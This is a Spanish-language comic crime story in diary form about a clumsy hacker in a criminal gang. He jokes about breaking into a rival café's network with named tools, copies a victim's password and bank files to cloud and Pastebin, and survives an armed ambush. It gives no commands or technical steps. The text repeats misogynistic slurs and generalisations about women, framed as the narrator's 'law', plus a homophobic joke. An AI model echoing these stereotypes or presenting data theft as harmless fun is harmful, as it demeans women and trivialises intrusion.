- Ouuuu no, no siempre fui así. Antes era feliz

- ¿Es en serio? - le preguntó Lalo a Janey

- No sé, yo ya lo conocí así... bueno, no era tan mala persona y hablaba caga%&/; ahora si es un hijo de la chin$%& pero no sé

- Hum... no creo que alguien se acuerde de mi antes

- Se equivocan; alguien que cocina así y tiene un perro, no puede ser tan malo - interrumpió Mom mientras iba cruzando Shellcode por sus croquetas; después de eso ya nadie dijimos nada

Terminamos de desayunar y recogí los platos en el fregadero, para que el miércoles la Señora Belén los lavase. Les preparé unos pisco sour del pisco que traje de Lima. Y mientras todos se quedaron en la sala jugando con Shellcode, Mom y yo subimos a platicar a la terraza.

- ¿De verdad me rechazaste Miami por esto?

- Si

- ¿Por?

- Hay comida china, mucha carne, todo es muy barato y en la tarde el cielo se pone morado

- Hum... pu$%& cab$%& no te entiendo

- ¿Quieres que te diga que pasó?

- No, yo ya sé que pasó

- Ouuuu - cerré los ojos, venía el disparo - ¿entonces?

- Ahora tenemos dos competencias más grandes que nosotros encima

- Si

- ¿Qué tan grande es?

- Menos que los extranjeros, pero si es grande

- ¿Entraste a todo?

- A todo

- Excelente. ¿Qué sigue?

- Hum... con los extranjeros tenemos el vector de ataque que no hemos explotado con Memo

- ¿Quién es Memo?

- Memo, trabajo para ti antes que yo

- Ahhh ese Memo - puso cara de no saber de quién estaba hablando

- Es la única idea que se me ocurre... con ella... hum... aprovechar el enojo que tiene ahorita; seguro cometerá muchos errores. Hacer las cosas bien, e ir creciendo... confío en el equipo

- Si, yo también - se quedó pensativo - es una oportunidad de oro cab$%& tienes total libertad

- Pero... 

- ¿Qué?

- Esto estuvo un poco mal, ¿no?

- Pues... a veces se toman riesgos; y tu tomas muchos.

Bajo y se despidió de todos, bromeo y finalmente vi como la camioneta se alejaba de mi casa.

- Joven

- ¿Eu?

- ¿Por qué Mom se ve tan feliz?

- No sé, yo te iba a preguntar lo mismo

- Con todos los años que tengo de conocerlo estaba esperando un "Candía, sube y métele tres tiros en la cabeza"

- Si, yo pensaba lo mismo; ya hasta tenía una corbata lista para vendarme y que no te diese cosa verme a los ojos mientras me disparabas

- Nah, somos turbios e ilegales; pero tenemos honor... bueno, tú casi no, pero si te tengo que matar, te voy a matar de frente

- Gracias... creo

- Pero... ¿por qué está feliz?, en esta situación debiese de estar bien pin%&/ encabron&/(

- Ajá

- ¿Hay algo que sepas que no nos has dicho?

- Noup... ahora no joven; estoy tan sorprendido como tú

- Ouuuu que miedo

Nos quedamos un rato en la terraza, y yo saqué un Pampero que traje de Caracas; tenía tiempo que no pasábamos juntos; desde aquella vez que Janey y Beto compitieron; Janey me soltó un puñetazo en la nariz, y Luis encontró el amor al ritmo de “cri-criminal, cri-criminal” mientras Lalo y yo bebíamos “el licor de la casa”, que casi nos deja ciegos.

Ya cuando estábamos muy relajados y alegres, Janey se me acercó.

- ¿Cómo estas?

- Hum.. habría que acotar un poco el alcance de esa pregunta

- ¿Cómo estas "laboralmente"?

- Ouuu.. pues, pásandola.. creo.. ósea, se ve oscuro nuestro futuro; pero... somos turbios e ilegales, y yo tengo mucha suerte

- Hum... cual es el plan?

- De la información que obtuve, sé que esta muchacha tiene su operación en una cafetería llamada Garko, cerca de Insurgentes

– ¿Luego?

- Sabemos que es un café hispter, por lo tanto me disfrazaré de hipster para entrar y no ser descubierto

- Si ese tal Cesar te conoce, ¿no crees que es como medio lógico que te va a identificar?

- No, porque me disfrazaré como hipster, ya lo tuve que hacer una vez y funcionó

- A ver

- Mira

- Güe$%%& sólo te pusiste unos lentes

- Pero son unos lentes hipster - Janey empezó a mover la cabeza

- Te van a matar

- ¡Naaaaaah! es un gran plan

- ¿Y luego?

- Luego entró, buscó un nodo de red, me conectó, hackeo todo y listo; estoy dentro

- ¿Cómo?

- No sé, lo resolveré en el momento, ya sabes, nmaps, nessus, pwdump y listo

- ¿Pwdump?

- Si

- No mam"·$%... ¡Belindo!, eso tiene años de no usarse

- ¿Cómo que no se usa?

- Güe"·$%... creo que mi abuela uso eso para sacar hashes de Windows 2003

- Ajá... 

- Dios, estas muerto - y se levantó y se fue

- ¿Qué? - en ese momento entró Beto

- Joven ya se nos acabó el alcohol, ¿donde conseguimos más?

- Ouuuu hay un Walmart cerca, yo los llevo

- Vale

- Oye

- ¿Qué?

- ¿Es verdad que ya no se usa Pwdump para sacar hashes?

- ¿Pwd qué?

- Olvídalo... vamos por ese alcohol

Querido Diario… tienen razón; no tengo la menor idea de que hacer en esta ocasión D: … tal vez necesito unas buenas vacaciones…  con mucho alcohol y muchas tortas ahogadas… si; seguramente eso me hará mejorar mis ideas.

Miércoles, 24 de Mayo de 2018: Ley Augustiana #17

Querido Diario…

¿Sabes lo normal que es que la gente deje en su escritorio un archivo de Excel llamado “estados de cuenta.xls” o un TXT que diga “passwords.txt”. Bueno, es algo común 😛

Hice una copia en Dropbox, una en iCloud, puse un Pastebin “privado” y copié en el USB todo… y me fui a Mexicali sin preocuparme porque me pasaría después. La tenía acorralada.

Aun así por las dudas busqué ayuda en alguien de confianza por si acaso, pero me di cuenta que las cachanillas son un poco coyonas.

Pero… ¿qué podía pasar?, tenía toda su información, estaba acorralada, yo en un vuelo a Mexicali…

Querido Diario… los mafiosos son todos unos caballeros, racionales, lógicos, sabemos entender… las mafiosas son mujeres; no conté con eso, ellas no conocen los arreglos entre caballeros.

Iba manejando tranquilamente por Justo Sierra escuchando un poco de Mozzart.

Cuando a la altura del monumento a Juárez cuando me di cuenta que una Cherokee me venía siguiendo. “Novatos”, pensé. Imaginé serían cachanillos siguiéndome y confié en mis habilidades chilangas, pero no… por más que intenté librarme de la cola evidentemente no eran cachanillos, manejaban demasiado bien para serlo.

Pasando el Carl’s Jr di vuelta en la primer calle, intenté perderlos entre la fila de coches que se van formando para el relajo, pero antes de llegar a la primer paleta se me cerró otra camioneta más. Sólo puede más que frenar y cuando iba a dar vuelta estaba rodeado por cuatro tipos armados con M16.

Nuevamente volví a cometer el mismo error. Bajé del coche con las manos levantadas, mostré que no estaba armado y esperé a que las buenas costumbres y caballerosidad terminasen en que me subirían al asiento trasero, me pondrían una bolsa de tela y simplemente me llevarían. Pero no, ¡viejas, todas son iguales!, sólo sentí un golpe en la cabeza y todo se volvió oscuro.

Abrí los ojos y sólo vi el techo del coche y distinguí que estábamos en movimiento. Intenté ponerme sentarme pero de nuevo sentí un golpe; y todo se volvió oscuro.

Abrí los ojos y volví a mirar el techo del coche, pero en esta ocasión ya no estábamos en movimiento y al girar me di cuenta que no sólo no estábamos en movimiento; sino que además estábamos de cabeza. Miré hacia el otro lado y los cuatro tipos estaban cubriéndose con la otra camioneta mientras le disparaban a algo.

Sólo sentí de pronto un jalón y vi como uno de los tipos giraban hacía mi apuntando; y de atrás escuché varios disparos; y alguien puso un arma en mis manos; que por mero instinto tome, quité el seguro y le hice un agujero al Hugo Boss del tipo que me apuntaba con el arma. Giré con la intención de volarme la cabeza al tipo pero me detuvo la cara del tipo con peor suerte del mundo que conozco.

- ¡Que tranza Belindo!
- ¡Joven!, apunté para allá, no para acá... psss ¿cómo le explico que los malos son ellos? - me decía la voz de Beto

Lo único bueno que he aprendido en los últimos meses había sido justamente eso; disparar. Y disparé. Aunque en realidad no le atiné a nada, cuando llegó un coche más y nos aventamos dentro.

- ¿Qué hacen aquí?
- Pues Karen nos dijo que había muchas probabilidades de que te matasen y pues... la verdad no queríamos venir, pero ya sabes como se pone - dijo Luis
- Además nos dijo que eres un traidor, mal amigo, sin honor y cosas peores - Dijo Beto

Yo sinceramente aun no entendía mucho, pero veía como nos intentaban seguir mientras Janey manejaba a toda velocidad

- Nos van a alcanzar - exclamé
- Estas chavo, chavo... soy de Iztapalapa tengo barrio, ¿quién crees que volcó la camioneta donde ibas? - dijo Janey mientras volvía a salir sobre Justo Sierra

Todo había pasado muy rápido, ni siquiera me había dado cuenta que tenía un chichón en la cabeza; y ya que al fin llegamos a una calle y nadie nos seguía, estallamos en risa.

- Gracias... - dije al fin
- Joven, usted si es todo un caso - me respondió Beto
- ¿Por?
- Pues justo cuando decimos "ya no puede caer más bajo", caes más bajo. Te tenía acá - dijo mientras ponía su mano a la altura de la rodilla - y ahora te tengo hasta acá - tocó el piso
- Pero, pero... no sé que pasó todo estaba bajo control; tengo la información financiera, los puedo hundir
- Pero no puedes confiar en una mujer - dijo Luis
- Si, la neta si, pin%&/ viejas son unas perras - dijo Janey
- Pero tú ere.. 
- Psss por eso gü%&/ - me interrumpió - yo se acá que ped$%&
- Bueno, gracias... 
- Joven, tengo una llamada para usted - me dijo Beto mientras me pasaba su celular
- Bueno - respondí
- Joven, vengo manejando un coche muy gay... ¿es en serio?, ¿automático?, #decepción #deshonor #tradición - me sentía muy alegre de escuchar esa voz

Querido Diario… Ley Augustiana #17: “Viejas, todas son iguales”.